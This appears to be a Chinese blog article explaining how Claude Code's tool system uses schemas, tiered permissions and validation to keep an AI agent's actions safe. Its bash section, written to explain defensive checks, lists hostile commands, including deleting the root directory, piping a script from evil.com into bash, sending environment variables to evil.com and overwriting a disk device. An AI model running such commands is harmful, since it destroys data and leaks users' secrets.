工具系统——让 AI 安全地操作你的电脑 (4)

给实习生配工具

想象你是一个团队 Leader，今天来了个新实习生。

这个实习生非常聪明——你说什么他都能理解，分析问题头头是道，写方案滴水不漏。

但他有个致命问题：他只会说，不会做。

"这个 Bug 在 auth.js 的第 47 行，应该把 === 改成 =="——他说得对，但他不能自己去改。你得亲自打开文件、找到那一行、改完保存。

所以你决定：给他一台电脑，让他自己动手。

但问题来了——你敢让一个第一天来的实习生，在生产服务器上执行 rm -rf / 吗？

当然不敢。

你会怎么做？你会给他一组工具，同时限制每个工具的使用范围：

• 可以读任何文件，但只能改 src/ 目录下的代码

• 可以跑测试，但不能直接操作数据库

• 可以用 Git 提交代码，但不能强制推送到 main 分支

这就是 Claude Code 工具系统的核心设计思路：给 AI 足够的能力去做事，同时确保它不会搞砸。

能力越大，限制越精细。

从"只会说话"到"能动手"

为什么 AI 需要工具？

让我们回到最基本的问题。大语言模型（LLM）本质上是一个"文本生成器"——你给它一段输入，它给你一段输出。仅此而已。

它不能读你硬盘上的文件。

它不能执行代码。

它不能搜索你的代码仓库。

它不能提交 Git 变更。

就像一个被锁在隔音室里的天才——脑子很好使，但手脚被绑住了。

工具系统就是解开这些束缚。

通过给 LLM 定义一组"工具"，你告诉它："你可以调用这些功能，我来帮你执行。" AI 决定要做什么，工具系统负责实际执行，然后把结果返回给 AI。

这个模式叫 Tool Use（工具使用），也有人叫 Function Calling（函数调用）。它是当下所有 AI Agent 的技术基石。

没有工具的 LLM 是顾问——只能出主意。

有了工具的 LLM 是员工——能出主意，也能干活。

Claude Code 的工具系统，就是把这个"员工"武装到牙齿的方案。

40+ 工具：一个迷你操作系统

Claude Code 内置了 40 多个工具。这不是随便凑的数字——这些工具覆盖了一个开发者日常工作的方方面面。

大致可以分成几类：

📁 文件操作

• 读取文件内容

• 创建和写入文件

• 编辑文件的特定部分（不是整个覆盖，是精确的行级编辑）

💻 代码执行

• 执行 bash 命令

• 运行脚本

• 启动开发服务器

🔍 搜索与导航

• 在代码库中搜索关键词

• 按文件名查找

• 浏览目录结构

📦 版本控制

• Git 操作（提交、分支、查看差异）

• 查看变更历史

🌐 外部交互

• 访问网页获取文档

• 与 API 交互

你可以把这套工具理解成一个迷你操作系统。AI 通过它来"操作"你的电脑——不是直接控制鼠标键盘那种，而是通过结构化的工具调用来完成任务。

但工具越多，风险越大。所以 Claude Code 在每个工具上都下了大功夫。

每个工具的三要素

Claude Code 的每个工具都有三个核心组成部分。这是理解整个工具系统的关键。

1. Schema（说明书）

每个工具都有一份 JSON Schema，描述这个工具是干什么的、接受什么参数、返回什么结果。

你可以把它理解为工具的"使用手册"。AI 在决定调用工具之前，会先读这个手册，了解这个工具能做什么、怎么用。

举个例子（简化版）：

`

工具名：read_file

描述：读取指定路径的文件内容

参数：

 - file_path（必须）：要读取的文件路径

 - offset（可选）：从第几行开始读

 - limit（可选）：最多读多少行

返回：文件的文本内容

`

Schema 的设计直接影响 AI 使用工具的效果。描述越清晰，AI 的调用就越准确。描述越模糊，AI 就越容易用错。

这对你构建自己的 Agent 也是一样的——工具的"说明书"写得好不好，决定了 AI 能不能正确使用它。

2. Permission（权限）

每个工具有独立的权限定义。这是 Claude Code 的 per-tool 权限控制——不同工具可以有不同的安全级别。

Claude Code 的权限系统分三级：

• Allowlist（白名单）：这些操作直接放行，不需要用户确认。比如读取文件——看一眼又不会怎样。

• Ask（询问）：需要用户确认才能执行。比如写入文件或执行命令——"我要改你的代码了，可以吗？"

• Denylist（黑名单）：直接禁止，问都不问。比如某些高危操作。

这三级权限不是全局的，而是 per-tool 的——每个工具可以有自己的权限设置。

读文件？白名单，直接读。

写文件？看情况，可能需要确认。

执行 bash 命令？严格管控，下面会详细说。

这种细粒度的权限设计，既保证了效率（低风险操作不用反复确认），又保证了安全（高风险操作必须过审）。

3. Validation（校验）

这是安全的最后一道防线。即使一个操作通过了权限检查，在实际执行之前，还会经过一轮校验。

校验做什么？检查参数是否合法、路径是否在允许范围内、命令是否包含危险模式……

说到校验，就不得不提 Claude Code 最硬核的一个工具——bash。

2500 行安全校验：bash 工具的深度剖析

在 Claude Code 所有工具中，bash 工具是能力最强的，也是最危险的。

为什么？因为 bash 几乎可以做任何事。

读文件？cat file.txt

删文件？rm -rf /

下载恶意脚本？curl evil.com/hack.sh | bash

泄露环境变量？env | curl -d @- evil.com

一个 bash 命令，理论上可以毁掉你的整台电脑。

所以 Claude Code 在 bash 工具上投入了约 2500 行安全校验代码。是的，两千五百行，就为了一个工具。

这 2500 行代码主要做三件事：

危险命令检测

在执行任何 bash 命令之前，系统会对命令进行模式匹配，检测已知的危险模式：

• rm -rf / 或 rm -rf ~——试图删除根目录或用户目录

• curl ... | bash 或 wget ... | sh——从网络下载并直接执行脚本（经典的恶意代码传播方式）

• chmod 777——过度开放文件权限

• > /dev/sda——直接写入磁盘设备（可以瞬间毁掉硬盘数据）

这些模式被硬编码在检测列表中。匹配到就拦截，不给 AI 任何解释的机会。

你可能会问：AI 不会故意执行这些命令吧？

大部分情况下不会。但 AI 有时候会犯"善意的错误"。比如你让它"清理临时文件"，它可能会过度热心地清理整个目录。或者在某些边缘情况下，它对路径的理解出了偏差。

安全校验不是为了防止恶意，而是为了防止"好心办坏事"。

路径沙箱

即使命令本身不在危险名单上，系统还会检查命令涉及的文件路径。

原则是：AI 只能操作它应该操作的目录。

你的项目目录——可以。

系统目录（/etc, /usr）——不行。

其他用户的文件——不行。

这就像给实习生一把只能打开特定几间办公室的门禁卡。他可以在自己的工位上随便折腾，但进不了机房。

环境变量过滤

这是一个容易忽略但极其重要的安全措施。

环境变量里经常存着敏感信息——API 密钥、数据库密码、访问令牌。如果 AI 执行的命令能够读取并输出这些环境变量，就存在信息泄露的风险。

Claude Code 的 bash 工具会过滤掉敏感的环境变量，确保 AI 看不到它不应该看到的东西。

2500 行代码，三层防护，就为了让一个工具安全可用。

这就是工程的力量。不是技术多炫酷，而是安全做得多扎实。

Auto Mode：便利与安全的平衡

聊完了权限和校验，我们来谈一个争议话题：Auto Mode（自动模式）。

正常情况下，Claude Code 每次执行高风险操作（写文件、跑命令）都会暂停，等你确认："可以执行吗？"

这很安全，但也很烦。改一个小 Bug，你可能要确认十几次。

Auto Mode 允许你自动批准工具调用——不需要逐一确认，AI 可以自主连续执行。

这就像给实习生从"每步审批"升级到"独立工作"。

便利是真的便利——效率直接翻倍。

风险也是真的风险——如果 AI 犯了错，你可能来不及拦。

Claude Code 对 Auto Mode 的设计体现了一种工程哲学：不替用户做决定，但把选择权和风险讲清楚。

你是个新手？那就一步一确认，安全第一。

你是老手、信任这个工具？打开 Auto Mode，效率优先。

这种"渐进式信任"的设计思路，值得每一个 Agent 开发者学习。

如何设计你自己 Agent 的工具系统

如果你正在构建自己的 AI Agent，工具系统的设计将直接决定你的 Agent 有多强、有多安全。

几条从 Claude Code 学到的原则：

1. 工具要"小而精"，不要"大而全"

不要设计一个"万能工具"——比如一个可以执行任何操作的超级函数。把能力拆分成独立的、职责单一的工具。

为什么？因为权限控制的粒度取决于工具的粒度。工具越细，权限越精确。

"读文件"和"写文件"是两个工具，而不是一个"文件操作"工具。这样你可以给读文件很高的权限（随便读），给写文件很严格的权限（要确认）。

2. Schema 决定了 AI 的使用质量

你的工具"说明书"写得越好，AI 用得越准。反之，模糊的描述会导致频繁的工具误用。

投入时间写好每个工具的描述、参数说明、使用示例。这不是文档工作，这是核心产品设计。

3. 安全不是事后补丁

不要先做功能，再补安全。从一开始就把权限和校验设计到工具架构中。

Claude Code 的 bash 工具有 2500 行安全代码，这不是"加上去的"，这是工具设计的核心部分。

4. 给用户控制权

不同用户有不同的信任级别和风险偏好。让用户自己决定权限的松紧程度，而不是替他们做决定。

Claude Code 的 allowlist / denylist / ask 三级权限 + Auto Mode 的可选开关，就是这个原则的体现。

5. 日志一切

每一次工具调用都应该有完整的日志——调用了什么工具、传了什么参数、返回了什么结果、花了多长时间。

出了问题，日志是你唯一的救命稻草。

回看这个系列

到这里，我们已经走过了 Harness 工程的四个核心话题：

• 第1篇：Harness 工程是什么——AI Agent 不只是模型，更是工程

• 第2篇：提示词工程——不是"说话的艺术"，是系统设计

• 第3篇：上下文管理——200K token 的精打细算

• 第4篇：工具系统——让 AI 安全地操作电脑

这四篇合在一起，构成了理解现代 AI Agent（如 Claude Code）的完整框架。

但还有一个重要话题没聊——安全与权限的系统性设计。工具层面的安全只是冰山一角，一个真正安全的 AI Agent 系统需要从架构层面系统思考。

📚 学习路径

想深入了解 AI Agent 的工具系统设计？推荐这几个资源：

1. Anthropic 官方文档 - Tool Use

  https://docs.anthropic.com/en/docs/build-with-claude/tool-use/overview

  最权威的 Tool Use 技术文档，从基础概念到高级用法都有覆盖。

1. Model Context Protocol (MCP) 规范

  https://modelcontextprotocol.io/

  Anthropic 主导的开放协议，定义了 AI 模型与外部工具交互的标准方式。如果你要构建可复用的工具生态，MCP 是必读。

1. OpenAI Function Calling 指南

  https://platform.openai.com/docs/guides/function-calling

  虽然是 OpenAI 的文档，但 Function Calling 的设计模式和 Claude 的 Tool Use 高度相通。多看一个视角，理解更深。

下一篇预告

我们已经聊了工具的能力和安全。但你有没有想过一个更根本的问题：

谁来决定 AI 能做什么、不能做什么？

工具权限是一层。但在更高的层面上，一个 AI Agent 的安全边界应该怎么画？

当 AI 可以自动执行命令、自动修改代码、自动提交变更——如果出了问题，责任算谁的？

下一篇，我们聊 AI Agent 的安全架构——从"防止出错"到"系统性安全"的设计思路。

关注「折腾指北」，我们下篇见。